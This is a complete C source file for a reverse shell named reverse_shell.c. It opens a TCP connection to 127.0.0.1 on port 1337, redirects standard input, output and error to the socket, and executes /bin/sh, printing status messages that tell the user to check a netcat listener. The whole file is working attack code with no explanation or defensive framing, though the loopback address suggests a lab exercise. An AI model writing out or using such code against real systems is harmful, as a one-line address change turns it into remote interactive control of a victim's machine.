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reverse_shell.c
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reverse_shell.c
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#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void DieWithError(char* msg)
{
printf("%s\n", msg);
exit (1);
}
int main()
{
int client_sockid, status, num_bytes, clientaddr_size;
char buf[1024];
struct sockaddr_in clientaddr;
client_sockid = socket(PF_INET, SOCK_STREAM, 0);
if(client_sockid == -1) DieWithError("[-] socket() failed\n");
printf("[+] Created socket for client with fd %d.\n", client_sockid);
clientaddr.sin_family = AF_INET;
clientaddr.sin_port = htons(1337);
clientaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
status = connect(client_sockid, (struct sockaddr*)&clientaddr, sizeof(clientaddr));
if(status == -1) DieWithError("[-] connect() failed\n");
printf("[+] Spawning a shell, check netcat.\n");
dup2(client_sockid, 0);
dup2(client_sockid, 1);
dup2(client_sockid, 2);
execve("/bin/sh",NULL, NULL);
status = close(client_sockid);
if(status == -1) DieWithError("[-] close() failed.\n");
printf("[+] Closed connection successfully.\n");
return 0;
}